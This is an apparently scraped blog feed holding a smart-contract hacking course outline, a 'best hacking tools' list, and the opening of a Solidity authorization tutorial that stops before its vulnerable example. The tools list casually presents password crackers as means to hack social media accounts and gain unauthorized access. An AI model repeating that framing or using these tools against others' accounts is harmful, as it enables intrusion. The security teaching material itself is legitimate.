#e69138;"><span>Exam Prep -</span><span> DApp Target + </span><span>Detailed Lab Guide</span></span></p><p><span style="color: #3d85c6;"> Action steps to familiarize yourself with the contract:</span></p><p><span style="color: #3d85c6;"> Attack Options:</span></p><p><span style="color: #3d85c6;"> Summary</span></p><p><span style="color: #3d85c6;"> References</span></p><p><span style="color: #3d85c6;"><br /></span></p><p><span style="color: #3d85c6;"> Chapter 10 - Who Am I: Delegate Call Attacks</span></p><p><span style="color: #3d85c6;"> How delegate calls work:</span></p><p><span style="color: #3d85c6;"> Delegate Call vs Call</span></p><p><span style="color: #3d85c6;"> Simple Delegate Call Example Code</span></p><p><span style="color: #3d85c6;"> Simple Delegate Code Example Walkthrough</span></p><p><span style="color: #3d85c6;"> Hands on Lab - Simple Delegate Example Walkthrough<span style="white-space: pre;"> </span></span></p><p><span style="color: #3d85c6;"> Variable Memory Issues with Delegate Calls</span></p><p><span style="color: #3d85c6;"> DelegateCall Storage Simple Example Code</span></p><p><span style="color: #3d85c6;"> Hands on Lab - DelegateCall Storage Walkthrough</span></p><p><span style="color: #cc0000;"> </span><span style="color: #cc0000;"></span><span style="color: #cc0000;"> </span><span style="color: #e69138;"><span> </span><span>Exam Prep -</span><span> DApp Target + </span><span>Detailed Lab Guide</span></span></p><p><span style="color: #3d85c6;"> Case Study - Parity Wallet Attack:</span></p><p><span style="color: #3d85c6;"> Attack Transactions Explained</span></p><p><span style="color: #3d85c6;"> Dangerous fallback function using delegatecall</span></p><p><span style="color: #3d85c6;"> The Parity Wallet Code</span></p><p><span style="color: #3d85c6;"> Delegate Chapter Summary</span></p><p><span style="color: #3d85c6;"> Delegate References:</span></p><p><span style="color: #3d85c6;"><br /></span></p><p><span style="color: #3d85c6;"> Chapter 11 - Look into My Crystal Ball: Bad Randomness Issues</span></p><p><span style="color: #3d85c6;"> Cryptographic Implementations and Predictable PRNGs</span></p><p><span style="color: #3d85c6;"> Simple BlockHash Example</span></p><p><span style="color: #3d85c6;"> Hands on Lab - BlockHash Vulnerability Walk and Talk</span></p><p><span style="color: #cc0000;"> </span><span style="color: #cc0000;"></span><span style="color: #cc0000;"> </span><span style="color: #e69138;"><span> </span><span>Exam Prep -</span><span> DApp Target + Detailed Lab Guide</span></span></p><p><span style="color: #3d85c6;"> Preventing Randomness Issues</span></p><p><span style="color: #3d85c6;"> Bad Randomness Summary</span></p><p><span style="color: #3d85c6;"> Bad Randomness References<span style="white-space: pre;"> </span></span></p><p><span style="color: #3d85c6;"><br /></span></p><p><span style="color: #e69138;"> Chapter 12 - Automated Static Application Security Testing</span></p><p><span style="color: #e69138;"> Content - Not written - Up Next </span></p><p><span style="color: #e69138;"> Hands On Lab - Not written - Up Next </span></p><p><span style="color: #e69138;"> Summary Not written - Up Next </span></p><p><span style="color: #e69138;"> References - Not written - Up Next </span></p><p><span style="color: #6aa84f;"><br /></span></p><p><span style="color: #e69138;">Chapter 13 - CTF Exam</span></p><p><span><span style="color: #e69138;"> <span> </span>Final Exam and CTF Certification Exam Target </span></span></p><p><span><span style="color: #e69138;"><span> </span><span> Final Exam Reporting</span><br /></span></span></p><p><span><span><span style="color: #e69138;"><br /></span></span></span></p><p><span style="color: #e69138;"><span>Appendices</span><span><span><span>: </span></span></span></span></p><p><span style="color: #e69138;"><span><span> </span>Appendix I – Pre-Requisite Suggestions:</span><span style="white-space: pre;"> </span></span></p><p><span style="color: #e69138;"> Programming Pre-Requisites:</span></p><p><span style="color: #e69138;"> Web Application Hacking Pre-Requisites:<span style="white-space: pre;"> </span></span></p><p><span style="color: #e69138;"><span> </span>Appendix II – Other Blockchain Learning Resources and Certifications</span></p><p><span style="color: #e69138;"><span> </span>Appendix III – Non-Exhaustive Scoping Questions<span style="white-space: pre;"> </span></span></p><p><span style="color: #e69138;"><span> </span>Appendix IV – Non-Exhaustive List of things to check for</span></p><p><br /></p><p><br /></p><h5>Related word</h5><br><ol><li> <a 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Software </a></li></ol>cartapacio.liberalhttp://www.blogger.com/profile/00608634973291831025noreply@blogger.com0tag:blogger.com,1999:blog-37014268.post-81623029443960712222024-01-24T09:35:00.001+01:002024-01-24T09:35:42.545+01:00Best Hacking Tools<div dir="ltr" style="text-align: left;" trbidi="on"> <h2 style="text-align: left;"> MOST USEFUL HACKING TOOL</h2> <h2 style="text-align: left;"> 1-Nmap-Network Mapper is popular and free open source hacker's tool.It is mainly used for discovery and security auditing.It is used for network inventory,inspect open ports manage service upgrade, as well as to inspect host or service uptime.Its advantages is that the admin user can monitor whether the network and associated nodes require patching.</h2> <div> <h2> </h2> <h2> 2-Haschat-It is the self-proclaimed world's fastest password recovery tool. It is designed to break even the most complex password. It is now released as free software for Linux, OS X, and windows.</h2> </div> <div> <h2 style="text-align: left;"> <i><br></i></h2> <h2 style="text-align: left;"> <i>3-</i>Metasploit-It is an extremely famous hacking framework or pentesting. It is the collection of hacking tools used to execute different tasks. It is a computer severity framework which gives the necessary information about security vulnerabilities. It is widely used by cyber security experts and ethical hackers also.</h2> </div> <div> <h2 style="text-align: left;"> </h2> <h2 style="text-align: left;"> 4-Acutenix Web Vulnerability Scanner- It crawls your website and monitor your web application and detect dangerous SQL injections.This is used for protecting your business from hackers.</h2> </div> <div> <br></div> <h2 style="text-align: left;"> 5-Aircrack-ng - This tool is categorized among WiFi hacking tool. It is recommended for beginners who are new to Wireless Specefic Program. This tool is very effective when used rightly.</h2> <div> <br></div> <h2 style="text-align: left;"> 6-Wireshark-It is a network analyzer which permit the the tester to captyre packets transffering through the network and to monitor it. If you would like to become a penetration tester or cyber security expert it is necessary to learn how to use wireshark. It examine networks and teoubleshoot for obstacle and intrusion.</h2> <div> <br></div> <h2 style="text-align: left;"> 7-Putty-Is it very beneficial tool for a hacker but it is not a hacking tool. It serves as a client for Ssh and Telnet, which can help to connect computer remotely. It is also used to carry SSH tunneling to byepass firewalls. So, this is also one of the best hacking tools for hackers.</h2> <div> <br></div> <h2 style="text-align: left;"> 8-THC Hydra- It is one of the best password cracker tools and it consist of operative and highly experienced development team. It is the fast and stable Network Login Hacking Tools that will use dictonary or bruteforce attack to try various combination of passwords against in a login page.This Tool is also very useful for facebook hacking , instagram hacking and other social media platform as well as computer folder password hacking.</h2> <div> <br></div> <h2 style="text-align: left;"> 9-Nessus-It is a proprietary vulnerability scanner developed by tennable Network Security. Nessus is the world's most popular vulnerability scanner according to the surveys taking first place in 2000,2003,2006 in security tools survey.</h2> <div> <br></div> <h2 style="text-align: left;"> 10-Ettercap- It is a network sniffing tool. Network sniffing is a computer tool that monitors,analyse and defend malicious attacks with packet sniffing enterprise can keep track of network flow. </h2> <div> <br></div> <h2 style="text-align: left;"> 11-John the Ripper-It is a free famous password cracking pen testing tool that is used to execute dictionary attacks. It is initially developed for Unix OS. The Ripper has been awarded for having a good name.This tools can also be used to carry out different modifications to dictionary attacks.</h2> <div> <br></div> <h2 style="text-align: left;"> 12-Burp Suite- It is a network vulnerability scanner,with some advance features.It is important tool if you are working on cyber security.</h2> <div> <br></div> <h2> 13-Owasp Zed Attack Proxy Project-ZAP and is abbreviated as Zed Attack Proxy is among popular OWASP project.It is use to find vulnerabilities in Web Applications.This hacking and penetesting tool is very easy to use as well as very efficient.OWASP community is superb resource for those people that work with Cyber Security.</h2> <div> <br></div> <h2 style="text-align: left;"> 14-Cain & Abel-It is a password recovery tool for Microsoft Operating System. It allow easy recovery of various kinds of passwords by sniffing the networks using dictonary attacks.</h2> <div> <br></div> <h2 style="text-align: left;"> 15-Maltego- It is a platform that was designed to deliver an overall cyber threat pictures to the enterprise or local environment in which an organisation operates. It is used for open source intelligence and forensics developed by Paterva.It is an interactive data mining tool.</h2> <h2 style="text-align: left;"> These are the Best Hacking Tools and Application Which are very useful for penetration testing to gain unauthorized access for steal crucial data, wi-fi hacking , Website hacking ,Vulnerability Scanning and finding loopholes,Computer hacking, Malware Scanning etc.</h2> <h2 style="text-align: left;"> <b>This post is only for educational purpose to know about top hacking tools which are very crucial for a hacker to gain unauthorized access. We are not</b><b> responsible for any type of crime.</b></h2> <div> <br></div> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiTwf6anIWLvaECngyGQc5M3drQ3OUzEeZ3C8Quj0TU2ULgfDRba-6c6xFHpSs7enL5LfRnx51DErFnRohKUEAHR4yyuL7Odb8uhyphenhyphenPOzDXAkPrDIOda9FNH2l2h2kGbAl7bSqO7aQ/s1600/IMG_20190403_134020.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="390" data-original-width="720" height="173" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiTwf6anIWLvaECngyGQc5M3drQ3OUzEeZ3C8Quj0TU2ULgfDRba-6c6xFHpSs7enL5LfRnx51DErFnRohKUEAHR4yyuL7Odb8uhyphenhyphenPOzDXAkPrDIOda9FNH2l2h2kGbAl7bSqO7aQ/s320/IMG_20190403_134020.png" width="320"></a></div> <br> <div class="separator" style="clear: both; text-align: center;"> <a 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For Mac </a></li></ul>cartapacio.liberalhttp://www.blogger.com/profile/00608634973291831025noreply@blogger.com0tag:blogger.com,1999:blog-37014268.post-4499263385401228242024-01-24T01:04:00.001+01:002024-01-24T01:04:22.641+01:00Smart Contract Hacking Chapter 5 - Understanding And Attacking Authentication & Authorization On The Ethereum Blockchain<p> </p><p class="MsoNormal">In this chapter we will take a look at bypassing UI restrictions using Indirect Object Reference (IDOR) vulnerabilities to bypass unprotected functionality. We will then take a look at various authorization schemes and how to implement them so you can easily spot authorization issues when attacking contracts. We will take a look at both simple authorization and role-based authorization. <o:p></o:p></p><p class="MsoNormal">Contact Info: </p><p class="MsoNormal"><span style="color: #6fa8dc;">Twitter: <a href="https://twitter.com/ficti0n" target="_blank">@ficti0n</a></span></p><p class="MsoNormal"><span style="color: #6fa8dc;">Penetration Testing: <a href="http://cclabs.io" target="_blank">http://cclabs.io</a></span></p> <p class="MsoNormal" style="break-after: avoid; margin: 2pt 0in 0in; mso-outline-level: 2; mso-pagination: widow-orphan lines-together;"><br /></p> <h2 style="text-align: left;">Understanding Smart Contract Authorization and Visibility</h2><p class="MsoNormal">Smart contracts function in much the same way as an API that uses endpoints as interfaces to its functionality. You can code DApps for various platforms and access needed functionality within smart contracts for value transfers with functional logic. A common issue in the past was that smart contract functions had public visibility by default, meaning that they were accessible by anyone knew how to interact with them. If you didn't explicitly define the access level of the function it would automatically default to public, allowing anyone to call the function and perform actions using the contracts ABI.<span style="mso-spacerun: yes;"> </span><span face=""Calibri Light",sans-serif" style="color: #2f5496; font-size: 13pt; line-height: 107%; mso-ascii-theme-font: major-latin; mso-bidi-font-family: "Times New Roman"; mso-bidi-theme-font: major-bidi; mso-fareast-font-family: "Times New Roman"; mso-fareast-theme-font: major-fareast; mso-hansi-theme-font: major-latin; mso-themecolor: accent1; mso-themeshade: 191;"><o:p></o:p></span></p> <p class="MsoNormal">In newer versions of solidity, the compiler will complain and refuse to compile if you do not explicitly define the visibility of a function as one of the following: <o:p></o:p></p> <h2><a name="_Toc47892507">Visibility:</a></h2><h2><o:p></o:p></h2> <blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><p class="MsoListParagraphCxSpFirst" style="mso-list: l5 level1 lfo1; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;"><span style="mso-list: Ignore;">ü<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]-->External – Is accessible to other contracts but cannot be accessed internally to the contract.</p><p class="MsoListParagraphCxSpMiddle" style="mso-list: l5 level1 lfo1; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;"><span style="mso-list: Ignore;">ü<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]-->Public - Is accessible to other contracts and can be accessed internally.</p><p class="MsoListParagraphCxSpMiddle" style="mso-list: l5 level1 lfo1; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;"><span style="mso-list: Ignore;">ü<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]-->Internal – Can only be accessed within the current contract or contracts deriving from it</p><p class="MsoListParagraphCxSpMiddle" style="mso-list: l5 level1 lfo1; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;"><span style="mso-list: Ignore;">ü<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]-->Private – These are only visible by the contract that defined them. </p></blockquote><p class="MsoListParagraphCxSpFirst" style="mso-list: l5 level1 lfo1; text-indent: -0.25in;"><o:p></o:p></p> <p class="MsoListParagraphCxSpMiddle" style="mso-list: l5 level1 lfo1; text-indent: -0.25in;"><o:p></o:p></p> <p class="MsoListParagraphCxSpMiddle" style="mso-list: l5 level1 lfo1; text-indent: -0.25in;"><o:p></o:p></p> <p class="MsoListParagraphCxSpMiddle" style="mso-list: l5 level1 lfo1; text-indent: -0.25in;"><o:p></o:p></p> <p class="MsoListParagraphCxSpMiddle"><o:p> </o:p></p> <p class="MsoListParagraphCxSpLast"><o:p> </o:p></p> <p class="MsoNormal">A quick example of a pubic vs a private method is as follows: <o:p></o:p></p> <p class="MsoNormal">Action Steps: <o:p></o:p></p> <blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><p class="MsoListParagraphCxSpFirst" style="mso-list: l9 level1 lfo2; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;"><span style="mso-list: Ignore;">ü<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]-->Open up remix in your browser</p><p class="MsoListParagraphCxSpMiddle" style="mso-list: l9 level1 lfo2; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;"><span style="mso-list: Ignore;">ü<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]-->Create a new solidity file named visibility.sol</p><p class="MsoListParagraphCxSpMiddle" style="mso-list: l9 level1 lfo2; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;"><span style="mso-list: Ignore;">ü<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]-->Type the following code into the new document and compile/deploy the contract.</p><p class="MsoListParagraphCxSpLast" style="mso-list: l9 level1 lfo2; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;"><span style="mso-list: Ignore;">ü<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]-->Play with the resulting functionality taking note of the visibility definitions above. </p></blockquote><p class="MsoListParagraphCxSpFirst" style="mso-list: l9 level1 lfo2; text-indent: -0.25in;"><o:p></o:p></p> <p class="MsoListParagraphCxSpMiddle" style="mso-list: l9 level1 lfo2; text-indent: -0.25in;"><o:p></o:p></p> <p class="MsoListParagraphCxSpMiddle" style="mso-list: l9 level1 lfo2; text-indent: -0.25in;"><o:p></o:p></p> <p class="MsoListParagraphCxSpLast" style="mso-list: l9 level1 lfo2; text-indent: -0.25in;"><o:p></o:p></p> <p class="MsoNormal"><o:p> </o:p></p> <h2><span style="mso-bookmark: _Toc47892508;">Simple Visibility Example:</span> <o:p></o:p></h2> <p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"><o:p> </o:p></p> <div style="background: black; border: 1pt solid rgb(136, 136, 136); margin-left: 0.25in; margin-right: 0in; mso-border-alt: solid #888888 .75pt; mso-element: para-border-div; padding: 2pt;"><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l7 level1 lfo12; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">1.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;"><span style="mso-tab-count: 1;"> </span>pragma solidity ^</span><span style="color: indianred;">0.6</span><span style="color: white;">.</span><span style="color: indianred;">6</span><span style="color: white;">;<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l7 level1 lfo12; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">2.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;"> <o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l7 level1 lfo12; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">3.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;"><span style="mso-tab-count: 1;"> </span>contract visibility {<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l7 level1 lfo12; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">4.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;"> <o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l7 level1 lfo12; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">5.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span></span><span style="color: #e28964;">function</span><span style="color: white;"> </span><span style="color: #e28964;">add</span><span style="color: white;">(</span><span style="color: #e28964;">uint</span><span style="color: white;"> _a, </span><span style="color: #e28964;">uint</span><span style="color: white;"> _b) </span><span style="color: #e28964;">private</span><span style="color: white;"> pure returns (</span><span style="color: #e28964;">uint</span><span style="color: white;">){<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l7 level1 lfo12; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">6.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span><span style="mso-tab-count: 1;"> </span></span><span style="color: #e28964;">return</span><span style="color: white;"> _a + _b; <o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l7 level1 lfo12; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">7.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span>}<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l7 level1 lfo12; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">8.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span><o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l7 level1 lfo12; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">9.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span></span><span style="color: #e28964;">function</span><span style="color: white;"> get_add_result(</span><span style="color: #e28964;">uint</span><span style="color: white;"> a, </span><span style="color: #e28964;">uint</span><span style="color: white;"> b) </span><span style="color: #e28964;">public</span><span style="color: white;"> pure returns (</span><span style="color: #e28964;">uint</span><span style="color: white;">){<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l7 level1 lfo12; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">10.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span></span><span style="color: #e28964;">return</span><span style="color: white;"> </span><span style="color: #e28964;">add</span><span style="color: white;">(a, b);<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l7 level1 lfo12; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">11.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span>}<span style="mso-spacerun: yes;"> </span><o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l7 level1 lfo12; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">12.</span></span><!--[endif]--><span style="color: white;">}<o:p></o:p></span></pre></div> <p class="MsoNormal"><span style="color: white;"> </span><o:p></o:p></p> <p class="MsoNormal">The visibility.sol contract has two functions at lines 5 and 9. The add function at line 9 is set to private which means that you cannot call it directly from an external call with the contracts ABI, nor with another contract using an external interface to this contract. However, it is called via another function within the same contract at line 10. This is because a function can call private functions within its own contract. Visibility limits certain functions you can call directly.<span style="mso-spacerun: yes;"> </span><o:p></o:p></p> <p class="MsoNormal">If we take a look at a screenshot of the deployed contract you will see that you only have a button to call the public function get_add_result and not the private add function. Note when submitting of 3 + 4 the get_add_result function is easily able to access the private functionality even if you cannot directly and 7 is returned. <o:p></o:p></p> <p class="MsoNormal"><span style="mso-no-proof: yes;"><v:shapetype coordsize="21600,21600" filled="f" id="_x0000_t75" o:preferrelative="t" o:spt="75" path="m@4@5l@4@11@9@11@9@5xe" stroked="f"> <v:stroke joinstyle="miter"> <v:formulas> <v:f eqn="if lineDrawn pixelLineWidth 0"> <v:f eqn="sum @0 1 0"> <v:f eqn="sum 0 0 @1"> <v:f eqn="prod @2 1 2"> <v:f eqn="prod @3 21600 pixelWidth"> <v:f eqn="prod @3 21600 pixelHeight"> <v:f eqn="sum @0 0 1"> <v:f eqn="prod @6 1 2"> <v:f eqn="prod @7 21600 pixelWidth"> <v:f eqn="sum @8 21600 0"> <v:f eqn="prod @7 21600 pixelHeight"> <v:f eqn="sum @10 21600 0"> </v:f></v:f></v:f></v:f></v:f></v:f></v:f></v:f></v:f></v:f></v:f></v:f></v:formulas> <v:path gradientshapeok="t" o:connecttype="rect" o:extrusionok="f"> <o:lock aspectratio="t" v:ext="edit"> </o:lock></v:path></v:stroke></v:shapetype><v:shape id="Picture_x0020_20" o:spid="_x0000_i1032" style="height: 94.5pt; mso-wrap-style: square; visibility: visible; width: 219.75pt;" type="#_x0000_t75"> <v:imagedata o:title="" src="file:///C:/Users/ficti0n/AppData/Local/Temp/msohtmlclip1/01/clip_image001.png"> </v:imagedata></v:shape></span><o:p></o:p></p> <p class="MsoNormal"><o:p> </o:p></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjD5VjCemMI-pEoruK7_OeQqGWfQt1joHKNQAPJjUdspsxB98Wir5OnCYTDjXZTK4g4wLi6GugnykCwYEQ1RJzoSz1ZkFL58h2sZ6_C9tNF7Y8kJgb5FFiIR5HyezgtzE-c8vUaVw/s293/1.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="126" data-original-width="293" height="198" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjD5VjCemMI-pEoruK7_OeQqGWfQt1joHKNQAPJjUdspsxB98Wir5OnCYTDjXZTK4g4wLi6GugnykCwYEQ1RJzoSz1ZkFL58h2sZ6_C9tNF7Y8kJgb5FFiIR5HyezgtzE-c8vUaVw/w458-h198/1.png" width="458" /></a></div><br /><p></p> <p class="MsoNormal">Visibility is the first part of the equation and determines where the function is accessible from. There is also the matter of actual authorization to access functionality within the smart contract regardless of its visibility.<span style="mso-spacerun: yes;"> </span>This is not something that is built in by default and usually managed by the reviewing the address of the caller and making a decision.<span style="mso-spacerun: yes;"> </span>The address of the caller is generally going to be the msg.sender unless coded in alternative ways. We will use those other ways in upcoming chapters to bypass authorization in unique ways but for now we will focus on msg.sender.<o:p></o:p></p><p class="MsoNormal"><br /></p><p class="MsoNormal">Video WalkThrough of Visibility Code</p><div class="separator" style="clear: both; text-align: center;"><iframe allowfullscreen="" class="BLOG_video_class" height="266" src="https://www.youtube.com/embed/jPZo0xvfdzk" width="320" youtube-src-id="jPZo0xvfdzk"></iframe></div><br /><p class="MsoNormal"><br /></p> <p class="MsoNormal"><o:p> </o:p></p> <h2><a name="_Toc47892509">Implementing Authorization:</a> <o:p></o:p></h2> <p class="MsoNormal">Our functions are properly using private and public variables where appropriate, call it a day we are good to go right?<span style="mso-spacerun: yes;"> </span>Nope not even close, this just means we have a proper flow to our program and we have limited the visibility of functions that have no need to have direct interaction with a user.<span style="mso-spacerun: yes;"> </span>This does not stop a malicious hacker from directly accessing all of our public functions. Many of these public functions are bound to have sensitive functionality tied to financial transactions or interact with private functions that have the functionality you are trying to manipulate. <o:p></o:p></p> <p class="MsoNormal">In a smart contract we need a way to actually tell who has access to a public function in order to setup authorized transactions, for example a bank transfer. Otherwise you would create an account and everyone would be able to access its funds and transfer the funds out to themselves. An attacker can call any public function within the contract, even those meant for administrators only. <o:p></o:p></p> <p class="MsoNormal">Some examples of administrative functionality you would not want exposed would be a self-destruct function to render a contract useless or adding a new administrative account that does have authorization to sensitive functions. <o:p></o:p></p> <p class="MsoNormal">To <a name="_Hlk45394988">illust</a>rate this point let's take a look at the following contract that has a few sensitive functions but no protection against unauthorized users. Before you read what the code below does, try the following steps and take a guess at what it's doing yourself and where it should have protections. <o:p></o:p></p> <p class="MsoNormal">Action Steps: <o:p></o:p></p> <blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><p class="MsoListParagraphCxSpFirst" style="mso-list: l8 level1 lfo3; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;"><span style="mso-list: Ignore;">ü<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]-->Open your browser and go to remix.ethereum.org</p><p class="MsoListParagraphCxSpMiddle" style="mso-list: l8 level1 lfo3; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;"><span style="mso-list: Ignore;">ü<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]-->Create a new file named noAuth.sol and type in the following code</p><p class="MsoListParagraphCxSpMiddle" style="mso-list: l8 level1 lfo3; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;"><span style="mso-list: Ignore;">ü<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]-->Deploy this contract and play with its deposit and withdraw functionality</p><p class="MsoListParagraphCxSpMiddle" style="mso-list: l8 level1 lfo3; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;"><span style="mso-list: Ignore;">ü<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]-->Do you see any potential issues in authorization?</p><p class="MsoListParagraphCxSpLast" style="mso-list: l8 level1 lfo3; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;"><span style="mso-list: Ignore;">ü<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]-->Do you see any potential issues with the business logic, etc? </p></blockquote><p class="MsoListParagraphCxSpFirst" style="mso-list: l8 level1 lfo3; text-indent: -0.25in;"><o:p></o:p></p> <p 